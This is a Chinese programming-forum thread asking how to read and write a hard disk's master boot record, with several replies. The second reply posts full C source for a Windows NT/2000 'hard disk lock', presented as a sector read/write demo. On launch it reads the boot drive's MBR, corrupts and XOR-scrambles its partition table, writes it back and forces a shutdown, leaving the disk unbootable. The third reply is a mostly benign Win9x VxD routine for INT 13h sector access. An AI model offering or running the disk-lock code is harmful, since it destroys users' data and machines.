如何操作主引导区(读出和写入)?

解决方案 »

  1.   

    http://expert.csdn.net/Expert/topic/1166/1166431.xml?temp=.1132013
      

  2.   

    //Windows NT/2000下的硬盘锁//by sinister ([email protected]) from www.whitecell.org//演示如何在Windows NT/2000下对硬盘物理扇区读写
    #include <windows.h>
    #include <winioctl.h>//---------------------------------------------------------------------------
    void WINAPI ExitWin()
    {
       HANDLE hProcess,   hToken;
       TOKEN_PRIVILEGES   NewState;
       DWORD ProcessId,   ReturnLength = 0;
       LUID               luidPrivilegeLUID;   ProcessId = GetCurrentProcessId();
       hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
       OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
       LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);   NewState.PrivilegeCount = 1;
       NewState.Privileges[0].Luid = luidPrivilegeLUID;
       NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;   if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
          ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
    }
    void WINAPI KillNT()
    {  HANDLE                  hDevice;
      TCHAR                   szDevicename[64];
      LPTSTR                  szBuff;
      DISK_GEOMETRY           Geometry;
      BOOL                    bRet;
      DWORD                   bytes,bread,count;
      int i;  char *drive = "0";
      wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);  hDevice = CreateFile( szDevicename,
                            GENERIC_READ|GENERIC_WRITE,
                            FILE_SHARE_READ|FILE_SHARE_WRITE,
                            NULL,
                            OPEN_EXISTING,
                            0,
                            NULL
                          );   if (hDevice == INVALID_HANDLE_VALUE)
       {
           MessageBox(NULL,"打开设备出错",NULL,MB_OK);
           ExitProcess(0);
       }
      DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);  DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);  szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);  if ( szBuff == NULL)
      {
          MessageBox(NULL,"分配内存出错",NULL,MB_OK);
          ExitProcess(0);
      }  bytes = 512;  bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);  if (bRet==FALSE || bread<512)
      {
         MessageBox(NULL,"读MBR出错",NULL,MB_OK);
         ExitProcess(0);
      }
      *(szBuff + 0x1be) = 0x80;
      *(szBuff + 0x1bf) = 0x00;
      *(szBuff + 0x1c2) = 0x05;
      for ( i = 0x1c3; i < 510; i++ )
      {
          *(szBuff + i) ^= 0x926;
      }  DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);  CloseHandle(hDevice);  wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);  hDevice = CreateFile( szDevicename,
                            GENERIC_READ|GENERIC_WRITE,
                            FILE_SHARE_READ|FILE_SHARE_WRITE,
                            NULL,
                            OPEN_EXISTING,
                            0,
                            NULL
                          );  if ( hDevice == INVALID_HANDLE_VALUE)
      {
         MessageBox(NULL,"打开设备出错",NULL,MB_OK);
         ExitProcess(0);
      }
      DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);  DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);  bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL);  if (bRet==FALSE || bread<512)
      {
         MessageBox(NULL,"写MBR出错",NULL,MB_OK);
         ExitProcess(0);
      }
      DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);  HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);  CloseHandle(hDevice);  ExitWin();}
    void WINAPI OSVer()
    {   OSVERSIONINFO osi;   osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);   if (GetVersionEx(&osi))
       {
         if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)
              KillNT();
       }}
    WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
    {        OSVer();
            return 0;
    }
      

  3.   

    //Win9x下的硬盘扇区读写     DWORD _stdcall CVXD_W32_DeviceIOControl(LPDIOC lpDIOCParms, 
         CLIENT_STRUCT *pRegs) 
         { 
         DWORD dwRetVal = 0,retu; 
         DWORD *i; 
         PVMMCB hVM; 
         DIOC_REGISTERS *lpReg,*lpOutReg; 
         CLIENT_STRUCT saveregs; 
         DWORD PageNum; 
         WORD PageOff; 
         DWORD Address; 
         DWORD V86PageNum,MyPage; 
         WORD seg,offset; 
         
         hVM=Get_Cur_VM_Handle(); 
         i=(DWORD *)(lpDIOCParms->lpvOutBuffer); 
         lpReg=(DIOC_REGISTERS *)(lpDIOCParms->lpvInBuffer); 
         lpOutReg=(DIOC_REGISTERS *)(lpDIOCParms->lpvOutBuffer); 
         switch(lpDIOCParms->dwIoControlCode) 
         { 
         . 
         . 
         . 
         case 2: 
         if(lpDIOCParms->cbInBuffer!=sizeof(DIOC_REGISTERS)) 
         return dwRetVal=-1; 
         
         //保存当前虚拟机的寄存器状态 
         _asm push edi 
         _asm lea edi,saveregs 
         VMMCall(Save_Client_State); 
         _asm pop edi 
         
         //输入的参数,具体怎么用看INT13的说明吧 
         _ClientEAX=lpReg->reg_EAX; 
         _ClientEDX=lpReg->reg_EDX; 
         _ClientECX=lpReg->reg_ECX; 
         _ClientEFlags=lpReg->reg_Flags; 
         
         /* 以下这一段是编写这个VxD时要考虑的主要问题:把缓冲区的地址映射入虚拟86的地址 
         区,Win32中用的都是线性地址,先根据它求出页面号,再把缓冲区所在的页映射到虚拟86区 
         中去,下面程序中有一个Bug,它没有考虑到缓冲区所占页面大于一页时的情形,事实上,缓 
         冲区可能处在叶面的边界上,而且它的大小可能超过一页,这些都要根据上面参数中给出 
         的缓冲区大小计算,当时我嫌麻烦,随便应付了一下.用的时候要把这段代码改一下 
         */ 
         PageNum=(lpReg->reg_EBX)>>12; 
         PageOff=(lpReg->reg_EBX)&0xfff; 
         _asm{ 
         push 0 
         push 1 
         push 10 
         push hVM 
         push PageNum 
         } 
         VMMCall(_LinMapIntoV86); 
         _asm add esp,14h 
         _asm mov retu,eax 
         _asm mov MyPage,edx //返回的页面号在edx寄存器中 
         if(retu==0) return 3;//这是我自己胡乱选的错误码,你可以自己定成 
         //其它值 
         Address=(MyPage<<12)+PageOff;//计算新的线性地址 
         seg=LOWORD(Address>>4); //把线性地址转化成传统的段:偏 
         offset=LOWORD(Address-(seg<<4)); //移量的形式 
         _ClientAltES=seg;//这里一定不能弄错了,在Win32 Ring3程序中用的 
         //是_ClientES,而虚拟86方式下用的段寄存器则在 
         //_ClientAltES中,所以要用它 
         _ClientBX=offset; 
         
         //xixi,好戏开始了 
         VMMCall(Begin_Nest_V86_Exec);//这一句使得系统转入虚拟86方式 
         _asm mov eax,13h 
         VMMCall(Exec_Int);//发出int 13h中断调用 
         //保存返回值 
         if(lpDIOCParms->cbOutBuffer==sizeof(DIOC_REGISTERS)) 
         { 
         lpOutReg->reg_Flags=_ClientEFlags; 
         lpOutReg->reg_EAX=_ClientEAX; 
         lpOutReg->reg_EBX=_ClientEBX; 
         lpOutReg->reg_ECX=_ClientECX; 
         lpOutReg->reg_EDX=_ClientEDX; 
         } 
         End_Nest_Exec();//退出虚拟86方式 
         
         //轻轻地我走了,正如我轻轻地来,我挥一挥衣袖,不带走一片云彩 
         _asm push esi 
         _asm lea esi,saveregs 
         VMMCall(Restore_Client_State); 
         _asm pop esi 
         //这一段取消原来的映射 
         VMMCall(_GetNulPageHandle); 
         _asm mov PageNum,eax 
         _asm{ 
         push 0 
         push 0 
         push 1 
         push 10 
         push hVM 
         push PageNum 
         } 
         VMMCall(_MapIntoV86); 
         _asm add esp,18h 
         
         //OK 
         return dwRetVal=0; 
         } 
         return dwRetVal; 
        }我把这两个都copy来了。